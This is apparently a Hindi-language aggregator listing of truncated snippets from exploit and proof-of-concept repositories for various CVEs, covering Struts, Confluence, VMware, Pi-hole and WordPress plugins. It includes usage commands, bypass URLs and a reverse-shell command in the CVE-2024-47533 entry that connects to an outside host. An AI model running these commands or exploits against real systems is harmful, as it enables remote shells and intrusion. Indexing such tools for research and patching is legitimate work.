CVE-2018-11776

CVE-2018-11776 के लिए असुरक्षित डॉकर कंटेनर root@kitploit: docker pull bhdresh/cve-2018-11776:1.0 docker run -dit -p :8080:8080 bhdresh/cve-2018-11776:1.0 प्रमाण-अवधारणा प्रमाण-अवधारणा - 1 root@kitploit: Request : http://:8080/struts2-showcase-2.3.14/$333+333/help.action Result :...

CVE-2024-47533

root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...

CVE-2023-4294

CVE ID : CVE-2023-4294 भेद्यता प्रकार : Cross-Site Scripting विवरण : वर्डप्रेस के लिए URL Shortify प्लगइन, संस्करण 1.7.5 तक 1.7.5 सहित, रेफरर हेडर के माध्यम से स्टोर्ड क्रॉस-साइट स्क्रिप्टिंग के प्रति संवेदनशील है, जो अपर्याप्त इनपुट सैनिटाइज़ेशन और आउटपुट एस्केपिंग के कारण होता है। यह गैर-प्रमाण...

CVE-2022-26134

CVE-2022-26134 poc घोषणा: यह POC केवल सीखने के उद्देश्य से है, सभी अवैध गतिविधियाँ निषिद्ध हैं, यदि दुर्भावनापूर्ण विनाश किया जाता है तो इसका मुझसे कोई संबंध नहीं होगा!!! उपयोग विधि एकल सत्यापन root@kitploit: python CVE-2022-26134.py target url बैच URL सत्यापन root@kitploit: python...

CVE-2022-22954-POC

VMware-CVE-2022-22954-POC घोषणा: यह POC केवल सीखने के उद्देश्य के लिए है, किसी भी अवैध गतिविधि की पूरी तरह मनाही है, यदि दुर्भावनापूर्ण विनाश किया गया तो इसका कोई संबंध मुझसे नहीं है!!! १. बैच स्कैनिंग स्क्रिप्ट उपयोग: root@kitploit: python vm-2022-22954-POC.py url.txt २. एकल URL स्कैनिंग...

CVE-2026-42897

CVE-2026-42897 - Exchange Health Checker आउटबाउंड रीराइट नियम ब्लाइंड स्पॉट गंभीरता: मध्यम CVSS 5.3 घटक: Microsoft CSS-Exchange - HealthChecker निदान उपकरण प्रभावित फ़ाइलें: Diagnostics/HealthChecker/Analyzer/Get-URLRewriteRule.ps1 L49, L72, L97...

CVE-2021-41773

CVE-2021-41773 go भाषा में poc&exp परियोजना। घोषणा: यह परियोजना लेखक के दैनिक अध्ययन नोट्स से ली गई है। कृपया संबंधित तकनीकों और उपकरणों का उपयोग अवैध परीक्षण के लिए न करें; इससे उत्पन्न होने वाले किसी भी प्रतिकूल परिणाम के लिए लेखक जिम्मेदार नहीं है। उपयोग: root@kitploit: ./main -u एकल url ./mai...

cve-2025-4664

CVE-2025-4664 यह रिपॉजिटरी CVE-2025-4664 का शोषण करने के लिए एक PoC प्रूफ ऑफ कॉन्सेप्ट समाहित करती है, यह एक कमजोरी है जहां क्रोमियम-आधारित ब्राउज़र लिंक हेडर प्रीलोड अनुरोधों के माध्यम से संवेदनशील URL पैरामीटर लीक करते हैं। संसाधन विस्तृत स्पष्टीकरण के लिए ब्लॉग पोस्ट पढ़ें:...

CVE-2022-22978

CVE-2022-22978 Spring Security Spring Security को पास करें सफलता http://localhost:9090/login%0a Spring Security को SayMyName के साथ पास करें असफलता http://localhost:9090/name%0d कस्टम RBAC के साथ Spring Security को बाइपास करें असफलता http://localhost:9090/admin/admin%0d एनोटेशन RBAC के साथ Spring...

CVE-2023-35813

CVE-2023-35813 CVE-2023-35813 के लिए शोषण उपयोग उदाहरण: go run CVE-2023-35813.go https://example.com या go build CVE-2023-35813.go ./CVE-2023-35813 https://example.com स्क्रीनशॉट:...

CVE-2021-22986_Check

CVE-2021-22986Check CVE-2021-22986 चेकर स्क्रिप्ट Python3 में उपयोग कैसे करें: python3 checker.py -u http://url आउटपुट: root@kitploit: HOST IS NOT VULNERABLE: | | | / | | | | | | | | | | | | | | | | \ \ | ' | |/ | | | | | | | | | | | | | || |/ |/| ./||/||| | | || भेद्यता जाँचकर्ता ! लक्ष्य:...

CVE-2024-34361-Pi-Hole-SSRF-to-RCE

CVE-2024-34361 Pi-hole रिमोट कोड निष्पादन SSRF to RCE विवरण इस रिपॉजिटरी में CVE-2024-34361 के लिए एक एक्सप्लॉइट है, जो Pi-hole में खोजी गई एक गंभीर भेद्यता CVSS 8.6 है। Pi-hole एक DNS सिंकहोल है जिसका व्यापक रूप से नेटवर्क स्तर पर विज्ञापनों और ट्रैकिंग डोमेन को ब्लॉक करने के लिए उपयोग किया जाता...

ms15-034-Scan

ms15-034-scan python3 مسح جماعي لثغرة ms15-034/CVE-2015-1635 الاستخدام root@kitploit: python3 ms-socket.py url.txt أضف الأصول الخاصة بك إلى url.txt الإخراج إلى result.txt بدون إزالة http:// و https:// استبدل يدويًا في المفكرة باستخدام ctrl+h...

CVE-2020-24186-exploit

CVE-2020-24186-exploit CVE-2020-24186 के लिए आक्रमण स्क्रिप्ट Exp उपयोग विधि: Commands: Windows/Linux: python3 CVE-2020-24186.py -u -p उदाहरण: python3 CVE-2020-24186.py -u http://127.0.0.1 -p /wordpress/2022/04/04/hello-world...

CVE-2025-24893-POC

CVE-2025-24893-POC CVE-2025-24893 के लिए एक POC जो python में लिखा गया है उपयोग python3 -u the url...

CVE-2026-75797 AI Engine 3.3.3 - 3.7.1 - Subscriber+ Arbitrary File Read via 'url' Parameter

AI Engine WordPress plugin versions 3.3.3 through 3.7.1 suffer from an arbitrary file read vulnerability. The plugin fails to confine a caller-supplied URL parameter when mapping it to a local filesystem path before reading the file and forwarding its contents to an external service, enabling exf...

swagger-ui

परिचय: Swagger UI की भूमिका Swagger UI एक व्यापक रूप से उपयोग की जाने वाली लाइब्रेरी है जो OpenAPI पूर्व में Swagger विनिर्देशों को एक इंटरैक्टिव वेब इंटरफ़ेस में प्रस्तुत करती है। यह डेवलपर्स और इंटीग्रेटर्स को बैकएंड कार्यान्वयन के बिना API का अन्वेषण और परीक्षण करने में सक्षम बनाती है।...

CVE-2012-5321

बैज लाइसेंस MIT स्थापना 1. पायथन3 और pip इंस्टॉल करें निर्देश यहाँ यदि आप यह नहीं समझ पा रहे हैं, तो आपको वास्तव में इसका उपयोग नहीं करना चाहिए pip के माध्यम से इंस्टॉल करें root@kitploit: pip install CVE-2012-5321 जाँच करने के लिए नीचे दिया गया कमांड चलाएँ CVE-2012-5321 -h कॉन्फ़िगरेशन 2. हमने...

CVE-2023-24044

बैज लाइसेंस MIT स्थापना 1. Python3 और pip स्थापित करें यहाँ निर्देश यदि आप यह नहीं समझ पाते, तो आपको वास्तव में इसका उपयोग नहीं करना चाहिए pip के माध्यम से स्थापित करें root@kitploit: pip install CVE-2023-24044 जांचने के लिए नीचे दिया गया कमांड चलाएँ CVE-2023-24044 -h कॉन्फ़िगरेशन 2. हमने कमजोरिय...

CVE-2020-27838

बैज लाइसेंस MIT स्थापना 1. Python3 और pip इंस्टॉल करें यहाँ निर्देश यदि आप यह नहीं समझ पाते, तो आपको वास्तव में इसका उपयोग नहीं करना चाहिए pip के माध्यम से इंस्टॉल करें root@kitploit: pip install CVE-2020-27838 जाँचने के लिए नीचे दिए गए कमांड को चलाएँ CVE-2020-27838 -h कॉन्फ़िगरेशन 2. हमने भेद्यत...